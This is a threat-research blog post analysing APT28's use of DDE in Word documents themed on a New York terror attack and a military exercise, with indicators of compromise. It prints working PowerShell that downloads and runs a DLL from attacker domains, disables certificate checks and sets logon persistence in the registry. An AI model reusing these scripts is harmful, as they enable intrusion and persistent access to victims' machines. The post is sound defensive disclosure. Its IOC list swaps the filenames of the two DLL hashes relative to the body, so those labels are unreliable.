Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack

securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/

By Ryan Sherstobitoff and Michael Rea November 7, 2017

During our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research. This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim's system regardless whether macros are enabled. (McAfee product detection is covered in the Indicators of Compromise section at the end of the document.)

APT28, also known as Fancy Bear, has recently focused on using different themes. In this case it capitalized on the recent terrorist attack in New York City. The document itself is blank. Once opened, the document contacts a control server to drop the first stage of the malware, Seduploader, onto a victim's system.

The domain involved in the distribution of Seduploader was created on October 19, 11 days prior to the creation of Seduploader.

The document we examined for this post:

- Filename: IsisAttackInNewYork.docx
- Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e
- Creation date: 2017-10-27T22:23:00Z

The document uses the recently detailed DDE technique found in Office products to invoke the command prompt to invoke PowerShell, which runs two commands. The first:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('hxxp://netmediaresources[.]com/config.txt');powershell -enc $e #.EXE

The second PowerShell command is Base64 encoded and is found in the version of config.txt received from the remote server. It decodes as follows:

```
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+"\vms.dll");
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile("hxxp://netmediaresources[.]com/media/resource/vms.dll ",$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+"\System32\rundll32.exe";
$p_a=$p+",#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+"\vms.bat");
```

```
$text='set inst_pck = "%ALLUSERSPROFILE%\vms.dll"'+"`r`n"+'if NOT exist %inst_pck %
(exit)'+"`r`n"+'start rundll32.exe %inst_pck %,#1'
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path 'HKCU:\Environment' -Force | Out-Null;
New-ItemProperty -Path 'HKCU:\Environment' -Name 'UserInitMprLogonScript' -Value "$p_bat" -
PropertyType String -Force | Out-Null;
}
```

The PowerShell scripts contact the following URL to download Seduploader:

- hxxp://netmediaresources[.]com/media/resource/vms.dll

The Seduploader sample has the following artifacts:

- Filename: vms.dll
- Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7
- Compile date: 2017-10-31 20:11:10
- Control server: webviewres[.]net

The document downloads a version of the Seduploader first-stage reconnaissance implant, which profiles prospective victims, pulling basic host information from the infected system to the attackers. If the system is of interest, then the installation of X-Agent or Sedreco usually follows.

We have observed APT28 using Seduploader as a first-stage payload for several years from various public reporting. Based on structural code analysis of recent payloads observed in the campaign, we see they are identical to previous Seduploader samples employed by APT28.

We identified the control server domain associated with this activity as webviewres[.]net, which is consistent with past APT28 domain registration techniques that spoof legitimate-sounding infrastructure. This domain was registered on October 25, a few days before the payload and malicious documents were created. The domain was first active on October 29, just days before this version of Seduploader was compiled. The IP currently resolves to 185.216.35.26 and is hosted on the name servers ns1.njal.la and ns2.njal.la.

Further McAfee research identified the following related sample:

- Filename: secnt.dll
- Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e
- Compile date: 2017-10-30 23:53:02
- Control server: satellitedeluxpanorama[.]com. (This domain uses the same name servers as above.)

The preceding sample most likely belongs to the same campaign. Based on our analysis it uses the same techniques and payload. We can clearly establish that the campaign involving documents using DDE techniques began on October 25.

The domain satellitedeluxpanorama[.]com, used by the implant secnt.dll, resolved to 89.34.111.160 as of November 5. The malicious document 68c2809560c7623d2307d8797691abf3eafe319a is responsible for dropping the Seduploader payload (secnt.dll). Its original file name was SaberGuardian2017.docx. This document was created on October 27. The document is distributed from

hxxp://sendmevideo[.]org/SaberGuardian2017.docx. The document calls sendmevideo[.]org/dh2025e/eh.dll to download Seduploader (ab354807e687993fbeb1b325eb6e4ab38d428a1e).

The PowerShell command embedded in this document:

```
$W=New-Object System.Net.WebClient;

$p=($Env:ALLUSERSPROFILE+"\mvdrt.dll");

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

$W.DownloadFile("http://sendmevideo.org/dh2025e/eh.dll",$p);

if (Test-Path $p){

$rd_p=$Env:SYSTEMROOT+"\System32\rundll32.exe";

$p_a=$p+",#1″;

$pr=Start-Process $rd_p -ArgumentList $p_a;

$p_bat=($Env:ALLUSERSPROFILE+"\mvdrt.bat");

$text='set inst_pck = "%ALLUSERSPROFILE%\mvdrt.dll"'+"`r`n"+'if NOT exist %inst_pck % (exit)'+"`r`n"+'start rundll32.exe %inst_pck %,#1'

[io.File]::WriteAllText($p_bat,$text)

New-Item -Path 'HKCU:\Environment' -Force | Out-Null;

New-ItemProperty -Path 'HKCU:\Environment' -Name 'UserInitMprLogonScript' -Value "$p_bat" -PropertyType String -Force | Out-Null;

}
```

The file vms.dll, 4bc722a9b0492a50bd86a1341f02c74c0d773db7, is 99% similar-to secnt.dll ab354807e687993fbeb1b325eb6e4ab38d428a1e, indicating the code is almost identical and highly likely to be part of the same campaign. These two DLL implants are likely part of the same campaign. Furthermore, the sample 4bc722a9b0492a50bd86a1341f02c74c0d773db7, based on our code analysis, is 99% similar to the DLL implant 8a68f26d01372114f660e32ac4c9117e5d0577f1, which was used in a campaign spoofing the upcoming cyber conference Cy Con U.S.

The attack techniques in the two campaigns differ: The campaign spoofing the Cy Con U.S conference used document files to execute a malicious VBA script; this campaign using the terrorist theme uses DDE within a document file to execute PowerShell and fetches a remote payload from a distribution site. The payloads, however, are identical for both campaigns.

Conclusion

APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into infections, but can also rapidly incorporate new exploitation techniques to increase its success. Given the publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass

network defenses. Finally, the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28's ability and interest in exploiting geopolitical events for their operations.

Indicators of Compromise

SHA1 Hashes

- ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant)
- 4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant)
- 1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx)
- 68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx)

Domains

- webviewres[.]net
- netmediaresources[.]com

IPs

- 185.216.35.26
- 89.34.111.160

McAfee coverage

- McAfee products detect this threat as RDN/Generic Downloader.x.